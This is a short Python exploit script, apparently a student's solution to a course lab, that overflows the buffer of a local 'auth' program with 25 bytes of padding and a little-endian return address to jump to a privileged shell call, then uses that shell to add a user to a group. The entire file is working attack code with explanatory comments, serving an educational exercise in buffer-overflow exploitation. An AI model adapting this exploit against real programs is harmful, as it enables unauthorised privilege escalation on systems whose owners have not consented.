import os
import sys
import binascii

#run this script with the length of the compiler-allocated space for the buffer
#in order to overwrite the return address.  This will make the address return to 08048685,
#which is the print statement before the system call for a new shell with escalated privileges.
#This shell can run the h4ck command and add blake_johnson to the group Mr177.
#TA Christian did a really good job explaining this conceptually in section

if(len(sys.argv) == 1):
	length  = 4 + 21 		#21 for the buffer size + 4 for the stack pointer
	address = "\x85\x86\x04\x08"	#address to force the authenticate method to return to in the main function.
	padding = "b" * length		#creates the necessary padding to cause the correct overflow and allow for a specific return address.
	
	print("Running auth with an overloaded argument (" + padding + str(binascii.hexlify(address)) + ") to make return address of auth equal to " + str(binascii.hexlify(address))+" in little endian.")

	os.execv("/home/Mr177/auth", ["/home/Mr177/auth",padding + address])
else:
	print("Wrong number of arguments")
